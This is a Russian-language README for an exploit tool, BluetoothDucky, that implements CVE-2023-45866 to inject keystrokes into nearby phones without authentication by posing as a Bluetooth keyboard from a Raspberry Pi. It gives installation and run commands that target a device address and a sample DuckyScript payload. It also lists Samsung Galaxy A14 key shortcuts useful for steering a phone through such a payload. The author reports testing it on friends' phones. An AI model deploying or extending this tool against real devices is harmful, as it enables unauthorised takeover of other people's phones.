
Эксплойт для CVE-2023-45866, позволяющий выполнять неаутентифицированную инъекцию нажатий клавиш через Bluetooth-клавиатуру с использованием полезных нагрузок DuckyScript на Raspberry Pi.
CVE-2023-45866 — реализация BluetoothDucky (с использованием DuckyScript)
Это реализация CVE, обнаруженной marcnewlin [https://github.com/marcnewlin/hi_my_name_is_keyboard]
Я создал ducky_convert.py, чтобы по возможности не изменять файл hid.py для будущего использования.
Всё ещё работаю над несколькими идеями полезных нагрузок для него.
У меня он запущен на Raspberry Pi 4 со встроенным модулем Bluetooth. Я протестировал его на каждом телефоне моих друзей, и он работает. Единственная проблема, которую я обнаружил, — с новозеландским брендом телефонов Vodafone, который блокирует его по умолчанию, даже если телефон не включался годами (запрашивает сопряжение), что забавно, ведь это самый защищённый из всех.
Всё ещё нужно адаптировать всю терминологию ducky, но устройств для тестирования не хватает.
REM это просто комментарий
string test123
ENTER
Это должно ввести test123 в текстовое поле, а затем нажать ENTER.
Просто выкладываю этот код для тех, кто хочет помочь.
Инструкция по установке (позаимствована у marcnewlin)
# обновление apt
sudo apt-get update
sudo apt-get -y upgrade
# установка зависимостей из apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# установка pybluez из исходников
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# сборка bdaddr из исходников bluez
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Затем просто
git clone https://github.com/pentestfunctions/BluetoothDucky
cd BluetoothDucky
sudo python3 BluetoothDucky.py -i hci0 -t 00:00:00:00:00:00
sudo python3 BluetoothDucky.py --scan
Он будет искать файл payload.txt в той же директории, который может быть просто ducky-скриптом — для начала попробуйте что-нибудь простое из этого репозитория.
Реализовать функцию шага для проверки последней буквы отправленной строки полезной нагрузки, чтобы можно было повторно отправить/продолжить с этого места при сбое, а не отправлять всю строку заново
Galaxy A14/SM-A14F
GUI + D (рабочий стол)
GUI + E (почта)
GUI + F (ПОИСК)
GUI + H (аудио Samsung?)
GUI + K (календарь)
GUI + M (карта)
GUI + N (уведомления)
GUI + T (музыка?)
GUI + Q (полные уведомления)
GUI + R (недавние файлы)
GUI + S (сообщения?)
GUI + U (специальные возможности)
GUI + V (громкость)
GUI + Z (настройки)
ALT + A (панель приложений)
Alt + Space (поиск)